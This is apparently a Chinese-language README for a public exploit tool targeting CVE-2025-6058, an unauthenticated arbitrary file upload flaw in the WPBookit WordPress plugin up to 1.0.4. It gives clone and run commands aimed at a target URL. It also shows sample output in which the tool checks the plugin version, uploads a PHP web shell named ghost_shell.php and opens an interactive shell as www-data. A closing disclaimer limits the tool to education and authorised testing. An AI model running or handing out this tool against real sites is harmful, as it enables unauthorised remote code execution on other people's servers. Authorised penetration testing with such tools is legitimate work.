针对 WordPress WPBookit 插件(≤ 1.0.4)的未授权任意文件上传利用工具
该利用工具支持远程 Shell 上传和完整命令执行。
作者:0xgh057r3c0n
CVE-2025-6058 是一个影响 WordPress CMS 上 WPBookit 插件的严重漏洞。未授权攻击者可利用存在漏洞的 AJAX 端点上传任意 PHP 文件,从而实现 远程代码执行(RCE)。
README.txt 自动检测 WordPress 插件版本ghost_shell.php)python3 --version
pip install requests
git clone https://github.com/0xgh057r3c0n/CVE-2025-6058.git
cd CVE-2025-6058
python3 CVE-2025-6058.py -u https://target-wordpress-site.com
python3 CVE-2025-6058.py -u https://victim.com
[>] 正在检查插件版本...
[+] 发现插件版本:1.0.4
[!] 目标版本存在漏洞。
[>] 正在上传 Shell...
[+] 上传成功。
[+] Shell URL:https://victim.com/wp-content/uploads/2025/07/ghost_shell.php?cmd=whoami
[!] 交互式 GhostShell 已启动 — 输入 'exit' 退出。
┌─[gaurav@0xgh057r3c0n]─[/var/www/html]
└──╼ $ whoami
www-data
ghost_shell.php/wp-content/uploads/YYYY/MM/ghost_shell.phphttps://target-wordpress-site.com/wp-content/uploads/2025/07/ghost_shell.php?cmd=whoami
此利用工具仅用于教育目的和授权渗透测试。未经明确同意而对系统进行未授权使用属于违法行为。
根据 MIT 许可证 发布
由 0xgh057r3c0n 为 WordPress 安全审计制作 🛡️